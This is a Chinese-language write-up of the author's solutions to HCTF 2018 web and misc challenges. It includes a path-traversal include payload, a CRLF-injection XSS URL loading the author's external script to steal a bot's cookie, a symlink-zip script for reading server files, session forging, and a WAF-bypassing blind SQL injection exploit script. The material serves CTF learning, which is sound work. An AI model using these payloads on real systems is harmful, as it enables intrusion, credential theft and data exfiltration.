之前那个周末跟着De1ta打了一波HCTF,大部分题目质量很不错,学到了不少东西。真心佩服这个举办了十年的比赛,深深地膜一下杭电的大佬们。
Web
warm up
description:
warmup
签到题,注释提示source.php
,拿到源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
这是一个CVE虽然是签到题,但是比较有意思。规定了file参数必须包含hint.php/source.php
,然后,看看它的截取方式在最后面加一个?,然后截取第一个问号前的字符,如果依然在白名单内,就return true
,包含file参数。这里构造file=hint.php?/../../../../../../ffffllllaaaagggg
即可get flag,?后面加个/是把前面的部分当作目录。这是利用了第二个return true
,如果要利用第三个,把?进行二次url编码,构造file=hint.php%25%33%66/../../../../../../ffffllllaaaagggg
即可。
Game
这道题是赛后搞出来的..比赛的时候看了好久都没发现有什么玄机,有点烦。
description:
crazy inject
flag.php was moved to web2/flag.php
题目有注册、登录功能,有一个gameplay功能,就是一个鼠标点一下就加一分的游戏,然后有一个公屏,显示了所有已注册账号的序号、用户名、性别和游戏分数。说一下当时的思路,这个题可控的参数比较多,所以摸索的过程也很漫长,首先,score的更新是用http://game.2018.hctf.io/web2/action.php?action=score&score=9
这样来实现的,score可以自由定义,从而实现修改把score修改为任意值,最大值是4294967295
,当时以为可能与溢出有关,但是怎么想都不会与溢出扯上关系,遂放弃。另外,http://game.2018.hctf.io/web2/user.php?order=id/username/sex/score
这样可以以不同的标准进行排序,当时发现用order=1/2/3/4
也是可以的,但是大于4就不行,这里想到可能有sql注入的点,fuzz了一下,发现所有特殊字符都被ban了,只要能在键盘上找到的,都被ban了。这说明这里是绝对不可能注入的..然后就转移目标,一直去找注册的地方会不会有SQL注入,但是不存在,毫无突破。
后面发现http://game.2018.hctf.io/web2/user.php?order=password
,这样可以按照密码进行排序…解法就是,不断注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,比如注册个密码为d的用户然后按密码排序,发现它在admin下面然后注册一个密码为e的用户,发现他在admin上面由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja
,登录访问flag.php
即可getflag。这题比较脑洞,感觉挺坑的..
bottle
descryption:
Not hard, I believe you are the lucky one!
hint1:*/3 */10
hint2: bot use firefoxDriver
这道题给了个注册和登录的功能进去之后有个submit url的功能自然想到有可能是SSRF或者XSS啥的。这里它会请求你发过去的url,页面只会显示一个success。自然想到,能不能xss?试一下,在我的VPS上写好payload,然后发送http://123.207.99.17/fuck.js
过去,发现能够请求,但是并不能执行这时候就想,会不会是存在csp?然后发现,登录的时候会发一个包这个path参数是可控的,非常可疑。然后发现,发送这个包之后就会进行302跳转,而且响应包有csp这里就要用到p牛写过的一篇文章的一个CLRF的姿势,按着文章里说的做就可以了,这样可以实现绕过http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://123.207.99.17/fuck.js%3E%3C/script%3E
成功打到cookie替换cookie即可getflag
admin
description:
ch1p want to have new notes,so i write,hahaha
题目有注册,登录,post功能但是post功能每次就返回一个post successful,而且找不到任何可以利用的方法。后面发现,https://github.com/woadsl1234/hctf_flask
有源码(居然藏在修改密码的注释里)审计源码,发现数据库每30s重置一次然后发现一个strlower
函数而且这个函数在注册、登录、修改密码的时候都会调用。还发现如果以admin身份登录就能看到flag参考这篇文章请看:要注意的是,twisted的版本是10.2.0新版本已经修复了此漏洞,非常感谢我的好友hwh的提醒。
由此想到一个利用链:注册ᴬdmin
用户,经函数处理后,此时你登录就是Admin
,然后修改密码,再次经过函数处理,修改的就是admin
的密码。getflag
hide and seek
description:
only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug
任意用户名密码可以登录,进来之后有个上传zip的功能测试一下,发现这个功能可以返回zip里面的东西想到软链接,脚本如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import re
import requests
import random
cookies={'_ga':'GA1.2.1132956760.1540006930',
'_gid':'GA12.1769035169.1541764743',
'session':'eyJ1c2VybmFtZSI6ImJhIn0.DsjA1Q.a4m96oBMD0FhrWejAiFQRWPwKek'}
def upload():
url = "http://hideandseek.2018.hctf.io/upload"
files = {"the_file": ("test112i%sz.zip"%str(random.randint(0,1000)), open("test.zip", "rb"), "application/octet-stream")}
r = requests.post(url, files=files,cookies=cookies)
data = r.content
print data
def main():
filename = sys.argv[1]
print filename
os.system("rm test")
os.system("ln -s %s test"%filename)
os.system("zip --symlinks test.zip test")
upload()
if __name__ == '__main__':
main()
然后就是愉快地读文件了. /etc/passwd
:/proc/self/environ
:1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi^@SUPERVISOR_GROUP_NAME=uwsgi^@HOSTNAME=e59e6990712c^@SHLVL=0^@PYTHON_PIP_VERSION=18.1^@HOME=/root^@GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D^@UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini^@NGINX_MAX_UPLOAD=0^@UWSGI_PROCESSES=16^@STATIC_URL=/static^@UWSGI_CHEAPER=2^@NGINX_VERSION=1.13.12-1~stretch^@PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin^@NJS_VERSION=1.13.12.0.2.0-1~stretch^@LANG=C.UTF-8^@SUPERVISOR_ENABLED=1^@PYTHON_VERSION=3.6.6^@NGINX_WORKER_PROCESSES=auto^@SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock^@SUPERVISOR_PROCESS_NAME=uwsgi^@LISTEN_PORT=80^@STATIC_INDEX=0^@PWD=/app/hard_t0_guess_n9f5a95b5ku9fg^@STATIC_PATH=/app/static^@PYTHONPATH=/app^@UWSGI_RELOADS=0^@
可以看到一个UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
,读一下:1
2
3[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
然后去读/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
def logout():
session.pop('username', None)
return redirect(url_for('index'))
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
第一眼看过去,还以为要爆破随机数种子,后面才看到随机数种子是定义好的这时候想,可能是admin才能拿到flag,读一下templates/index.html
,证实了看法:回到主代码,它用了uuid.getnode()
,百度一下这是啥再看看怎么拿到mac地址感觉马上就能破案了。先来看看uuid.getnode()
和mac地址是啥关系可以看到uuid.getnode()
其实就是mac地址转成10进制。
那么我们来拿一下题目的mac地址然后本地替换随机数种子,即可伪造cookie,注意python版本是3。替换cookie即可
kzone
description:
A script kid’s phishing website
直接访问题目url会跳转到qq空间,检测一波源码泄露,发现www.zip
,开启代码审计,目录结构:common.php
包含了include
目录下的其他文件而admin
下的文件都包含了common.php
来看一下最关键的member.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
把$_COOKIE['loin_data']
进行json_decode
,然后把相应的参数放到sql查询语句中,这里就存在一个SQL注入。要注意的是这里是有waf的,safe.php
中定义了waf:1
2
3
4
5
6
7function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
我们先不看SQL注入,假设这里不存在注入,只要登录即可getflag,那么我们应该如何登录?题目代码对密码检查的处理十分瞩目它从数据库中拿到password后,加了个盐,然后sha1加密了一下,与我们传过去的密码进行==比较,这里明显可以利用php的弱类型绕过,但是也有条件,那就是sha1加密之后的结果开头必须是数字。只需要把密码从0开始爆破就可以了,爆到65的时候,成了。要注意的是数字不要加引号,json是可以传数字的。这时候看回SQL注入,这里有一个重要的技巧,json_decode
会把unicode还原成相应字符,可以参考这篇文章,请看:通过这种方法,整个waf其实已经形同虚设,构造一下cookie即可实现timing盲注,结合爆破到的65,可以优化为boolean盲注。such as:给个boolean盲注的exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54#encoding:utf-8
__author__='C0mRaDe'
import requests
#union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#
union='union'.replace('u','\\u00'+hex(ord('u'))[2:])
Ascii='ascii'.replace('a','\\u00'+hex(ord('a'))[2:])
mid='mid'.replace('m','\\u00'+hex(ord('m'))[2:])
least='least'.replace('l','\\u00'+hex(ord('l'))[2:])
substr='substr'.replace('s','\\u00'+hex(ord('s'))[2:])
sleep='sleep'.replace('s','\\u00'+hex(ord('s'))[2:])
OR='or'.replace('o','\\u00'+hex(ord('o'))[2:])
If='if'.replace('i','\\u00'+hex(ord('i'))[2:])
equals='='.replace('=','\\u00'+hex(ord('='))[2:])
annotation='#'.replace('#','\\u00'+hex(ord('#'))[2:])
headers={'Host': 'kzone.2018.hctf.io',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
proxies={'http':'http://127.0.0.1:8080'}
url='http://kzone.2018.hctf.io/admin/'
result=''
order=1
# dicts=string.digits+string.letters
while True:
for i in range(32,127):
payload="s'or ascii(mid((select F1a9 from F1444g),%s,1))=%s#"%(order,i)
payload=payload.replace('or',OR)
payload=payload.replace('if',If)
payload=payload.replace('ascii',Ascii)
payload=payload.replace('mid',mid)
payload=payload.replace(' ','/**/')
payload=payload.replace('=',equals)
payload=payload.replace('#',annotation)
payload='{"admin_user":"%s","admin_pass":65}'%payload
cookies={'_ga':'GA1.2.1872226905.1542030555',
'_gid':'GA1.2.2053775419.1542030555',
'islogin':'1',
'PHPSESSID':'pr9d6drb9r6bl6fbqjk8uoggi7',
'login_data':payload}
try:
r=requests.get(url=url,headers=headers,cookies=cookies,timeout=2)
if len(r.content)>2000:
order+=1
result+=chr(i)
print result
break
except Exception as e:
print e
这个题,假如不能用\
,也是可以硬刚的,给出Eur3kA大佬的做法这里他们用来拿数据库名和数据表名的表是mysql.innodb_table_stats
,这个表的结构是这样的或者mysql.innodb_index_stats
含义很明确,以后遇到or
或者information_schema
被ban的情况可以用,不过要求版本要较高(>5.6.x),而且需要使用innodb引擎,这题在install.sql
可以看出。
share
description:
I have built an app sharing platform, welcome to share your favorite apps for everyone
hint1:https://paste.ubuntu.com/p/VfJDq7Vtqf/
Alpha_test code:https://paste.ubuntu.com/p/qYxWmZRndR/
hint2:
<%= render template: “home/“+params[:page] %>
in root_path
hint3:based ruby 2.5.0
misc
eazy dump
description:
you got it?
之前护网杯碰到了内存取证,这次看到这题就直接进来开干了,结果一晚上没干出来。pslist:有一个minesweeper.exe
,是个扫雷的截图当时没有头绪,甚至把所有数字还原了出来后面又研究了一下wordpad.exe
,但是没有收获。突破口是mspaint.exe
,dump出来,把后缀名改成data,然后用gimp打开,调节偏移量和宽高,如果看不清可以调一下图像类型。
some thoughts
- 有用的注释有可能出现在任何一个页面,一定要注意细节。
- 有的题目可能就是差一个比较难发现的突破点,一旦突破就非常简单,比如game那题找到
order=password
这个点。 - misc实在是太伤身体了。